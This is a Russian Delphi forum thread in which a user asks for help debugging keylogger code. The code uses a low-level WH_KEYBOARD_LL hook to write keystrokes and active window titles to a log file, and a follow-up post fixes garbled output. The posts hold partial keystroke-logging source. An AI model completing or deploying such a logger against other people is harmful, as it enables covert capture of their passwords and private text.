Форум по Delphi программированию

Delphi Sources



Вернуться   Форум по Delphi программированию > Все о Delphi > [ "Начинающим" ]
Ник
Пароль
Регистрация <<         Правила форума         >> FAQ Пользователи Календарь Поиск Сообщения за сегодня Все разделы прочитаны

Ответ
 
Опции темы Поиск в этой теме Опции просмотра
  #1  
Старый 16.12.2013, 20:14
iem00 iem00 вне форума
Прохожий
 
Регистрация: 16.12.2013
Сообщения: 14
Версия Delphi: Delphi 7
Репутация: 10
По умолчанию WH_KEYBOARD_LL проблемы с кодом

Добрый вечер. Есть код key логгера. Все работает, но после одновременного нажатия двух и более клавиш (например переключения раскладки) в файл пишется не нажатая клавиша а набор закарлючек.
В качестве хука использую WH_KEYBOARD_LL, так как WH_KEYBOARD хоть и работает нормально, но только внутри родного приложения и проводника.

Вот пример лога:
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
16-12-2013 20:11:00###ACTIVATE===+++@@@

п`l`о`м`о`г`и#`т!`е!` !`р!`а!`з!`о%`р$`$`б$`р$`а$`т$`ь)`с(`я(` (`с(` (`к(`о/`с+`я+`к+`о,`м,`.,` 4`т2`l2`р2`е2`т2`и2`й7` 7`д7`е7`н7`ь7` 7`м:`у9`ч9`а9`ю9`с9`ь9`1!`А`

хотя сначала прога работает так:

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
16-12-2013 20:09:20###ACTIVATE===Program Manager+++@@@

xcvbxcvbxcvb

Сам код:
Код:
 try
    Wnd:= GetForegroundWindow;
    GetWindowText(WND, wtext, Length(wtext)-1);
    if wtext<>PrevWindowName then   WriteLogLN(FormatDateTime('dd/mm/yyyy hh:nn:ss', Date+Time)+ '###ACTIVATE==='+wtext+ '+++'+'@@@');
    PrevWindowName:=wtext;
    if (Code=HC_ACTION) and (wParam=WM_KEYUP)  then
    begin
      LKBDLLHOOKSTRUCT := PKeyboardLowLevelHookStruct(lParam);
      GetKeyboardState(KeyState);
      New(KeyName);
      ToAsciiEx(LKBDLLHOOKSTRUCT.vkCode, 0, KeyState, KeyName, 0, GetKeyboardLayout(0));
      WriteLog(KeyName);
      if   LKBDLLHOOKSTRUCT.vkCode=VK_RETURN then WriteLogLNLittle('');
    end;
    Result:=  CallNextHookEx(MSGHook, Code, wParam, lParam);
    except
    end;
Админ: Пользуемся тегами для оформления кода!

Помогите разобраться с косяком. Третий день мучаюсь!

Последний раз редактировалось Admin, 16.12.2013 в 20:18.
Ответить с цитированием
  #2  
Старый 16.12.2013, 22:24
iem00 iem00 вне форума
Прохожий
 
Регистрация: 16.12.2013
Сообщения: 14
Версия Delphi: Delphi 7
Репутация: 10
По умолчанию

Если кому поможет, часть проблемы решил. Лишние символы убираются так:

Код:
try
   Wnd:= GetForegroundWindow;
   GetWindowText(WND, wtext, Length(wtext)-1);
   if wtext<>PrevWindowName then   WriteLogLN(FormatDateTime('dd/mm/yyyy hh:nn:ss', Date+Time)+ '###ACTIVATE==='+wtext+ '+++'+'@@@');
   PrevWindowName:=wtext;
  <b> if (Code=HC_ACTION) and (wParam=WM_KEYUP)  then
   begin
     LKBDLLHOOKSTRUCT := PKeyboardLowLevelHookStruct(lParam);
     GetKeyboardState(KeyState);
     New(KeyName);
     ToAsciiEx(LKBDLLHOOKSTRUCT.vkCode, 0, KeyState, KeyName, 0, GetKeyboardLayout(0));
     WriteLog(KeyName[0]);
     if   LKBDLLHOOKSTRUCT.vkCode=VK_RETURN then WriteLogLNLittle('');
   end;</b>
   Result:=  CallNextHookEx(MSGHook, Code, wParam, lParam);
   except
   end;

WriteLog(KeyName[0]);

Но осталась проблема с раскладкой. Если хоть раз нажал backspace - печатает только латиницу, независимо от раскладки, т.е. вместо "а" печатает "f"...
Ответить с цитированием
Ответ


Delphi Sources

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения

BB-коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Быстрый переход


Часовой пояс GMT +3, время: 22:11.


 

Сайт

Форум

FAQ

RSS лента

Прочее

 

Copyright © Форум "Delphi Sources" by BrokenByte Software, 2004-2023

ВКонтакте   Facebook   Twitter